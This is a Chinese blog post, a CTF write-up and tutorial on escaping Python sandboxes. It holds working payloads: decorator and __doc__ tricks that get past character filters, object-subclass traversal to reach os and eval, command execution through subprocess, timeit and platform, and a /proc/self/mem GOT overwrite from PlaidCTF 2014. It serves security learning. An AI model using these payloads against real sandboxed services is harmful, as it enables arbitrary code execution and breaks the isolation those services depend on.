前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Python 简单沙盒绕过

Python 简单沙盒绕过

作者头像
回天
发布2023-04-25 16:07:16
1.8K0
发布2023-04-25 16:07:16
举报
文章被收录于专栏:Ga1@xy's W0r1d

本篇文章请配合隔壁《Python 类与继承》一文共同食用

起因

事情要从一道 NCTF2021 的 Misc 题说起

代码语言:javascript
复制
import sys
from base64 import b64decode, b64encode

code = sys.argv[1]
try:
    data = b64decode(code.encode()).decode()
except:
    exit(0)

for c in 'h"\'(':
    if c in data: exit(0)

exec(data)

题目给的附件代码中用到了 base64 ,实际题目中并没有用到,不过没什么影响

题目中过滤了 h'"(,最终目的是要给一个QQ bot发送自己的代码让它执行,执行成功就可以得到flag

从过滤的字符来看其实本题已经算是非常简单的了,因为题目本身并没有过滤 os 库,所以我们只需要想办法拼接出我们需要执行的命令,然后调用通过 os.system 直接执行即可

那么我们现在的主要思路就有了:

  1. 构造命令字符串
  2. 引用 os.system 执行命令

构造字符串

看似上面说了只有两步,但是题目过滤了 '",我们没办法直接使用字符来得到命令字符串,因为如果我们想要直接用字符串的形式,就一定会用到引号,所以我们就要想办法通过其他方式得到我们需要的字符

我们要知道,Python 自设计之初就是一门面向对象的语言,「Python中一切皆对象」,每个对象都包含了自己的属性,包括 Python 自带的各种库、模块、列表、字典等等,为了让使用 python 的人明白这些东西用途或含义,python 在这些模块或方法中都添加了文档属性,用 __doc__ 即可查看

我们使用 __doc__ 方法就可以得到一个字符串,取相应位置上的字符拼接起来就可以用来构造我们想要的命令了

执行命令

有了想要的命令字符串,接下来就要考虑如何去执行命令,本题中给出了用来执行命令的函数 exec() ,我们在最开始也提到了,题目中并没有 ban 掉 os 库,所以我们可以直接通过 exec("os.system('xxx')") 的形式来执行命令,但是题目 ban 掉了 (' ,所以直接这样做肯定是行不通的,那我们就要想办法去构造一个可以传递给 exec() 命令能够让他执行的参数

构造参数

想要构造参数,我们首先要了解一下 函数装饰器 是什么:

装饰器本质上是一个 Python 函数或类,它可以让其他函数或类在不需要做任何代码修改的前提下增加额外功能,装饰器的返回值也是一个函数/类对象。

我们先简单写一个函数

代码语言:javascript
复制
def func():
    print("abc")

我们需要知道,在 Python 中,函数也是一种对象,可以将一个函数赋值给一个变量,也可以将函数定义在另一个函数内部,这意味着一个函数的返回值可以是另一个函数,那么如果我们想要在执行 func() 这个函数时,输出 execute 该怎么办呢?

最简单的办法就是在函数后面直接加一个 print("execute"),即

代码语言:javascript
复制
def func_exec():
    print("execute")
    print("abc")

但是如果有很多个这样的函数,那我们对每一个函数都要进行这样的修改,工作量一定很大,并且效率不高,在这种情况下,我们就可以使用装饰器来对代码进行优化,在使用装饰器的时候,我们并不需要对原有函数进行任何修改,便可以直接为原有函数添加新的功能

代码语言:javascript
复制
def decorator_func(func):
    def wrapper():
        print("execute")
        return func()
    return wrapper

def func():
    print("abc")

f = decorator_func(func)
f()

在 Python 中,还可以用 @ 这个符号来表示装饰器,也被称作装饰器的语法糖

代码语言:javascript
复制
def decorator_func(func):
    def wrapper():
        print("execute")
        return func()
    return wrapper

@decorator_func
def func():
    print("abc")

func()

在有了对装饰器的简单了解后,我们就不难想到,可以利用构造装饰器来达到执行命令的目的,还可以绕过 () 的过滤

还有一个需要思考的地方,我们通过 __doc__ 构造出想要执行的命令(例如 ls),如何把它作为参数传递给 os.system,这种情况下我们就可以使用 lambda 创建一个匿名函数,然后把表示命令的变量作为参数传递给这个匿名函数,最后再通过使用 os.system 作为装饰器来给我们的命令变量添加上系统执行的功能,就大功告成了

完整exp
代码语言:javascript
复制
import os
f = os.system             # 把 os.system 函数作为参数传递给变量 f 
a = {}.__doc__
command = a[69] + a[97] # 先构造一个 ls 命令
c = lambda _:command     # 创建匿名函数,command 作为函数返回值
@f                         # 使用 os.system 函数作为装饰器,添加执行系统命令的功能
@c                         # 第二层装饰器,实际上是 command 变量,让其作为 @f 的返回值
class _:pass             # @c 装饰器装饰的主体,在这里只是把装饰器结构补充完整的工具人

本地试一下效果

官方wp:https://ctf.njupt.edu.cn/727.html

进一步拓展(建议先看下面)

本题中并没有 ban 掉对于 os 库的引用,所以相对来讲做起来会比较容易,那如果题目中无法直接引用 os 库,又该怎样处理?

如果你还没有看下面的知识点,建议先看下面;如果你已经看了下面的知识点,相信你就已经会了!

无法是想办法引入 os ,或者引入其他可以执行命令的库,方法也比较简单,比如从内置函数里寻找,或者从 object 类的所有子类里找,通过下面我给出的代码在本地先进行搜索,找到目标后再远程构造,本题甚至可以直接通过字符拼接的方式得到 os,随便举个例子

代码语言:javascript
复制
# 在本地先找 os
num = 0
for i in [].__class__.__mro__[-1].__class__.__subclasses__([].__class__.__mro__[-1]):
    try:
        if 'os' in i.__init__.__globals__.keys():
            print(num)
            break
    except:
        pass
    num += 1
# 得到72

# 简单构造下payload
# [].__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')

# 绕过第一个括号
a = [].__class__.__mro__[-1].__class__.__subclasses__
b = lambda _:[].__class__.__mro__[-1]
@a
@b
class c:b

# c[72].__init__.__globals__[os].system('whoami')
t = [].__doc__
tt = {}.__doc__

# 绕过第二个括号
a = c[72].__init__.__globals__[t[66] + t[2]].system # os.system
cmd = lambda _:t[12] + tt[280] + t[66] + t[34] + t[15] + t[1] # whoami
@a
@cmd
class _:pass

思路不唯一,而且也和本地与远程的 python 环境相关,具体问题具体分析

更多相关知识点

导入模块

常用方法
  • import xxx
  • from xxx import *
  • __import__('xxx')

也可以通过目标库文件所在路径引入模块,例如 os 库在 Linux 下所在路径 /usr/lib/python2.7/os.py

代码语言:javascript
复制
import sys
sys.module["os"] = "/usr/lib/python2.7/os.py"
import os

sys.modules 是一个全局字典,该字典是 python 启动后就加载在内存中。每当导入新的模块时,sys.modules 都将记录这些模块。字典 sys.modules 对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典 sys.modules 将自动记录该模块。当第二次再导入该模块时,python 会直接到字典中查找,从而加快了程序运行的速度。

如果可以导入某个库(例如 os 库),但是其中相应方法被删除,无法正常调用,可以通过 reload 方法来恢复删除的方法

代码语言:javascript
复制
import os
del os.__dict__["system"]
os.system("ls")

import imp
imp.reload(os)
os.system("ls")
  • importlib.import_module(xxx)
代码语言:javascript
复制
import importlib
importlib.import_module('os').system('ls')
高级技巧

python 导入包的过程实际上就是到对应目录读取指定 py 文件,并将其加载到解释器的过程,所以我们也可以通过读取并执行对应文件的形式导入

代码语言:javascript
复制
# python2
execfile("/usr/lib/python2.7/os.py")
system("ls")

# python3
with open("/usr/lib/python3.8/os.py", 'r') as f:
    exec(f.read())

system("ls")

如果模块中某个方法被置空(None),那只需要删除对应方法后重新导入库即可

代码语言:javascript
复制
import sys
sys.modules['os'] = None
import os

del sys.modules['os']
import os

无法导入模块

内置函数

当无法导入模块,或者我们想要导入的模块被 ban 掉时,可以使用 python 的内置函数来进行间接调用。所谓内置函数,就是 python 本身默认导入的函数,可以通过 dir(__builtins__) 来获得内置函数列表

代码语言:javascript
复制
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

可以直接利用里面已有的函数进行操作

代码语言:javascript
复制
__builtins__.open('./flag.txt').read()

也可以通过 __dict__ 方法调取目标方法的键值,例如 __import__ ,然后间接导入想要的模块

代码语言:javascript
复制
__builtins__.__dict__['__import__']('os').system('ls')

如果 __builtins__ 中的某些函数被删除,我们可以通过 reload 方法来重新导入 __builtins__

代码语言:javascript
复制
import imp
import __builtins__
imp.reload(__builtins__)

注意这里要先 import __builtins__,导入的目的是要让内建模块名在该作用域可见

内置作用域是通过一个名为 builtin 的标准模块来实现的,但是这个变量名自身并没有放入内置作用域内,所以必须导入这个文件才能够使用它。

利用类描述器
  • getattr(object, name)
  • object.__getattribute__(name)

使用这两种方法在执行命令时可以进行字符串的拼接,或一些编码操作

代码语言:javascript
复制
getattr(__import__('o' + 's'), 'sy' + 'stem')('l' + 's')
getattr(__import__("os"), "flfgrz".encode("rot13"))('ls')
__import__('os').__getattribute__('sys' + 'tem')('l' + 's')
__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')
引入 object

通过 __class__ 方法,我们可以找到实例化的来源,通过 __mro__ 方法,我们可以得知其调用链,而一个类的调用链最后一个一定是 object 类,通过 __subclasses__() 方法,我们可以找到所有子类,我们又知道,object 类是所有类的父类,所以当我们能够得到 object 类时,调用它的子类就可以实现命令执行

代码语言:javascript
复制
().__class__.__mro__[-1]
# <class 'object'>

for i in enumerate(().__class__.__mro__[-1].__subclasses__()):
    print(i)

(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
...

我们可以直接通过列表下标来找到对应的类

代码语言:javascript
复制
().__class__.__mro__[-1].__subclasses__()[11]
# <class 'super'>

也可以通过一个脚本来找到我们想要利用的类

代码语言:javascript
复制
search = 'file'
num = 0
for i in "".__class__.__mro__[-1].__subclasses__():
    if search in str(i):
        print(num)
    num += 1

通过 __init__ 方法可以对类进行初始化,再通过 __globals__ 方法寻找它能够调用的所有内容,从中寻找我们需要的函数或内置库,例如 os__builtins__,可以写个脚本看一看

代码语言:javascript
复制
search = '__builtins__'
num = 0
for i in ().__class__.__mro__[-1].__subclasses__():
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass
    num += 1

<class '_frozen_importlib._ModuleLock'> 80
<class '_frozen_importlib._DummyModuleLock'> 81
<class '_frozen_importlib._ModuleLockManager'> 82
<class '_frozen_importlib.ModuleSpec'> 83
<class '_frozen_importlib_external.FileLoader'> 94
<class '_frozen_importlib_external._NamespacePath'> 95
<class '_frozen_importlib_external._NamespaceLoader'> 96
<class '_frozen_importlib_external.FileFinder'> 98
<class 'zipimport.zipimporter'> 104
<class 'zipimport._ZipImportResourceReader'> 105
<class 'codecs.IncrementalEncoder'> 107
<class 'codecs.IncrementalDecoder'> 108
<class 'codecs.StreamReaderWriter'> 109
<class 'codecs.StreamRecoder'> 110
<class 'os._wrap_close'> 132
...

得到能够调用 __builtins__ 的类后,我们就可以直接利用内置函数自带的一些方法来进行命令执行

代码语言:javascript
复制
().__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("open('./flag.txt', 'r').read()")

结合文章一开始讲到的装饰器,我们又可以对 payload 进行进一步优化,比如绕过 ()

代码语言:javascript
复制
a = [].__class__.__mro__[-1].__class__.__subclasses__ # type 类的 __subclasses__() 方法需要一个类作为参数
b = lambda _:[].__class__.__mro__[-1] # 用 object 类作为 __subclasses__() 的参数,能够得到较全的子类
@a
@b
# 用两层装饰器构造出 [].__class__.__mro__[-1].__class__.__subclasses__([].__class__.__mro__[-1])
# 得到 object 类的所有子类,并将其存入 class c 中
class c:b

num = 0
for i in c:
    try:
        if 'system' in i.__init__.__globals__.keys():
            print(num, i)
    except:
        pass
    num += 1
# 132 <class 'os._wrap_close'>

sys = c[132].__init__.__globals__['system'] # 此处 'system' 字符串可用 __doc__ 拼接
command = lambda _:'ls' # 'ls' 也可以用 __doc__ 拼接
@sys
@command
class _:pass
linecache

linecache 模块本身是用于读取文件的模块,但是这个模块中包含了 os ,python2/3 通用

代码语言:javascript
复制
import linecache
dir(linecache)

['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'cache', 'checkcache', 'clearcache', 'getline', 'getlines', 'os', 'sys', 'updatecache']

os 意味着可以用来执行各种系统命令

代码语言:javascript
复制
linecache.os.system('dir')

那么我们该如何引入 linecache 这个模块呢,可以继续使用上面用到的代码在全局变量中搜索

代码语言:javascript
复制
search = 'linecache'
num = 0
for i in ().__class__.__mro__[-1].__subclasses__():
    try:
        if search in i.__init__.func_globals.keys():
            print(i, num)
    except:
        pass
    num += 1

(<class 'warnings.WarningMessage'>, 59)
(<class 'warnings.catch_warnings'>, 60)

找到目标后直接构造payload

代码语言:javascript
复制
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals['linecache'].os.system('dir')

结合字典的键值

代码语言:javascript
复制
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals.values()[-5].os.system('dir')

还结合上面讲的类描述器,绕过中间的一些关键词过滤

代码语言:javascript
复制
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_' + 'globals')['linecache'].os.system('dir')

不过比较可惜的是只能在 python2 中找到这样可利用的 linecache 模块,python3 中不太行,不过 python3 中可以找到 __builtins__ 利用

命令执行

上文中其实已经包含了挺多间接实现命令执行的方法了,这里就再讲一些其他的方式

timeit 模块

这个模块本身是用来测试代码执行时间的,但是既然能测试代码执行时间,那就一定能执行代码,使用前需要 import,python2/3 通用

代码语言:javascript
复制
import timeit
timeit.timeit("__import__('os').system('whoami')", number=1)
platform 模块

python2/3 中,该模块给我们提供了很多方法去获取操作系统的信息,其中 popen 可以执行任意命令,使用前需要 import

代码语言:javascript
复制
import platform
platform.popen('whoami').read()

通过 dir() 也能发现可以其中包含 os,所以也可以调用 os 来执行命令

代码语言:javascript
复制
platform.os.system("whoami")
commands 模块

只在 python2 中使用,python3 中该模块已经被 subprocess 取代

主要使用两个函数

  • getstatusoutput:接收字符串格式的命令,输出结果和返回值
代码语言:javascript
复制
import commands
commands.getstatusoutput('whoami')

(0, 'ga1axy')
  • getoutput:接收字符串格式的命令,只输出结果,忽略返回值
代码语言:javascript
复制
commands.getoutput('whoami')

'ga1axy'
subprocess 模块

subprocess 模块允许我们启动一个新进程,并连接到它们的输入/输出/错误管道,从而获取返回值

这个模块内置的函数很多,功能也很复杂,在此我就简单介绍几个和命令执行相关的(要先 import)

  • subprocess.run():执行指定命令,返回一个包含执行结果的 CompletedProcess 类的实例
代码语言:javascript
复制
import subprocess
subprocess.run('whoami')

ga1axy
CompletedProcess(args='whoami', returncode=0)
  • subprocess.call():执行指定命令,返回命令执行状态,类比 os.system()
代码语言:javascript
复制
subprocess.call('whoami')

ga1axy
0

# 支持shell语法
subprocess.call('ls -l', shell=True)
# 不支持shell语法
subprocess.call(['ls', '-l'], shell=False)
  • subprocess.check_call():执行指定的命令,如果执行成功则返回状态码,否则抛出异常,等价于 subprocess.run(..., check=True)
代码语言:javascript
复制
subprocess.check_call('whoami')
  • subprocess.check_output():本身在执行命令方面和上面几个没啥区别,同样会抛出异常,返回结果是字符串的形式
代码语言:javascript
复制
subprocess.check_output('whoami')

注:上述三者在执行命令上本身并无太大区别,具体的一些细节上的区别可以参考:

f 修饰符

fF 修饰的字符串将可以执行代码,简单理解为外面套了个 exec(),python3.6 以上才支持

代码语言:javascript
复制
f"{__import__('os').system('whoami')}"

过滤绕过

过滤 ( )

可以用上面提到的装饰器的方式绕过

过滤 [ ]

对于一个序列来说,在序列里进行取值可以使用 __getitem__ 方法

代码语言:javascript
复制
().__class__.__mro__[-1]
<class 'object'>

().__class__.__mro__.__getitem__(1)
<class 'object'>

对于列表来说,可以使用 pop() 方法,移除列表中的一个元素(默认最后一个元素),并且返回该元素的值

代码语言:javascript
复制
().__class__.__mro__.__getitem__(1).__subclasses__().pop(72).__init__.__globals__.__getitem__('os').system('whoami')

更多例题

内存攻击

[PlaidCTF 2014] _nightmares_

https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。 https://blog.spoock.com/2019/10/08/proc/

LOAD段:表示一个从二进制文件映射到虚拟地址空间的段,其中保存了常量数据(如字符串),程序的目标代码等

/proc/self/maps:读取该文件可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址,可参考文章

代码语言:javascript
复制
address                  perms offset   dev   inode                      pathname
56453c5b8000-56453c605000 r--p 00000000 08:01 1710549                    /usr/bin/python2.7
56453c605000-56453c7ac000 r-xp 0004d000 08:01 1710549                    /usr/bin/python2.7
56453c7ac000-56453c8c1000 r--p 001f4000 08:01 1710549                    /usr/bin/python2.7
56453c8c1000-56453c8c3000 r--p 00308000 08:01 1710549                    /usr/bin/python2.7
56453c8c3000-56453c93a000 rw-p 0030a000 08:01 1710549                    /usr/bin/python2.7
56453c93a000-56453c95d000 rw-p 00000000 00:00 0 
56453d109000-56453d204000 rw-p 00000000 00:00 0                          [heap]
7f3abc000000-7f3abc021000 rw-p 00000000 00:00 0 
7f3abc021000-7f3ac0000000 ---p 00000000 00:00 0 
7f3ac3d77000-7f3ac3d78000 ---p 00000000 00:00 0 
7f3ac3d78000-7f3ac45b8000 rw-p 00000000 00:00 0 
7f3ac45b8000-7f3ac460c000 r--p 00000000 08:01 1986026                    /usr/lib/locale/yue_HK/LC_CTYPE
  • address:虚拟内存地址(VMA)起始地址-结束地址
  • perms:表示一系列权限 r=read,w=write,x=execute,s=shared,p=private(copy on write)
    • r-xp 条目描述了一块可执行内存(x 权限标志),表示代码段
    • r--p 条目描述了仅可读的内存块(r 权限标志),表示静态数据(常量)
    • rw-p 条目描述了一个可写的内存块(w 权限标志),表示数据段
    • ---p 条目描述了一块没有任何权限(或任何映射到它的内存)的地址空间
    • 全部都是私有的(p标志),这意味着如果某个进程修改了一个页面(仅可写部分才可以修改),那么该页面将被复制(写时复制),其他进程将看不到任何更改
  • offset:对有名映射,表示此段虚拟内存起始地址在文件中以页为单位的偏移;对匿名映射,它等于 0 或者 vm_start/PAGE_SIZE
  • dev:映射文件所属设备号。对匿名映射来说,因为没有文件在磁盘上,所以没有设备号,始终为 00:00;对有名映射来说,是映射的文件所在设备的设备号
  • inode:表示设备上面的 inode 编号,如果是 0,表示没有索引节点与内存区域关联(匿名映射),就如同 BSS 段一样
  • pathname:对有名映射来说,是映射的文件名;对匿名映射来说,是此段虚拟内存在进程中的角色(如 stack、heap)

/proc/self/mem:这个文件相当于程序内存的一个映射,可以理解为储存了该程序内存内容。但是这个文件只能打印出已经被映射的内存,未映射的内存打印出来会报错,需要结合 maps 中的映射信息来确定偏移值,对该文件进行写操作将改变进程的内存空间

关于匿名映射(匿名页面)

  1. 深入理解内存映射mmap
  2. 匿名映射是什么
  3. Linux内核虚拟内存管理之匿名映射缺页异常分析
  4. linux内存管理笔记(三十四)----匿名映射

题目本身引入了 stdout 模块,所属类型为 file,通过该类型就可以进行一系列的文件读写操作

代码语言:javascript
复制
stdout.__class__
# <type 'file'>

stdout.__class__('./test.txt', 'w').write('1234')
# 等同于
file('./test.txt', 'w').write('1234')
# 此处的 file() 为内置函数,效果等同于 open() ,在 __builtins__ 中

结合上面提到的 /proc/self/maps ,我们就可以查看当前 python 进程的内存映射关系,找到 python 的源进程文件

代码语言:javascript
复制
stdout.__class__('/proc/self/maps', 'r').read()

00400000-006dd000 r-xp 00000000 08:01 1044950                            /usr/bin/python2.7
008dd000-008de000 r--p 002dd000 08:01 1044950                            /usr/bin/python2.7
008de000-00955000 rw-p 002de000 08:01 1044950                            /usr/bin/python2.7
00955000-00978000 rw-p 00000000 00:00 0 
0227a000-0235e000 rw-p 00000000 00:00 0                                  [heap]
7f7b90000000-7f7b90021000 rw-p 00000000 00:00 0 
7f7b90021000-7f7b94000000 ---p 00000000 00:00 0 
7f7b97225000-7f7b97226000 ---p 00000000 00:00 0 
......

以本地环境为例,当前的 python 进程映射到本地的 ELF 文件为 /usr/bin/python2.7,通过管道符直接将命令传递给沙盒

代码语言:javascript
复制
echo "stdout.__class__('/usr/bin/python2.7', 'r').read()" | python2 sandbox.py > python.out

删去文件中第一句沙盒本身的输出,即可得到一个完整的 ELF 文件,有了 ELF 文件,我们就可以得到 system()fopen() 两个函数的 GOT 表偏移,通过劫持 GOT 表,把调用 fopen() 函数的地址改为调用 system() 的地址,在调用 stdout.__class__() 时就可以达到指定命令执行的效果

得到两个函数的 GOT 表地址,把修改内容写入 /proc/self/mem ,即可完成对进程内存空间的修改

利用 lambda 匿名函数将完整的修改以及命令执行过程构造成一个函数,利用 or 运算达到让命令依次执行的目的

or 运算可以理解为找真值演算,从左到右依次执行命令,并判断结果的 bool 类型,返回第一个真值(bool = True),如果都为假,则返回最后一个假值 f = open('./test.txt', 'r') bool(f.seek(1, 0)) # False bool(1 + 2) # True f.seek(1, 0) or f.seek(3, 0) or (1 + 2) # 3 and 运算则理解为找假值演算,从左到右返回第一个假值,如都为真,则返回最后一个真值 (1 + 2) and (3 * 5) # 15

构造完整 payload 如下,注意在写入内存时要禁用 buffer(buffering = 0)

代码语言:javascript
复制
echo "(lambda r, w : r.seek(0x8de2b8) or w.seek(0x8de8c8) or w.write(r.read(8)) or stdout.__class__('id'))(stdout.__class__('/proc/self/mem', 'r'), stdout.__class__('/proc/self/mem', 'w', 0))" | python2 sandbox.py

*未完待续...

可能也许大概应该好像似乎不一定会持续更新(

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-02-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 起因
    • 构造字符串
      • 执行命令
        • 构造参数
        • 完整exp
      • 进一步拓展(建议先看下面)
      • 更多相关知识点
        • 导入模块
          • 常用方法
          • 高级技巧
        • 无法导入模块
          • 内置函数
          • 利用类描述器
          • 引入 object
          • linecache
        • 命令执行
          • timeit 模块
          • platform 模块
          • commands 模块
          • subprocess 模块
          • f 修饰符
        • 过滤绕过
          • 过滤 ( )
          • 过滤 [ ]
      • 更多例题
        • 内存攻击
          • [PlaidCTF 2014] _nightmares_
      • *未完待续...
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档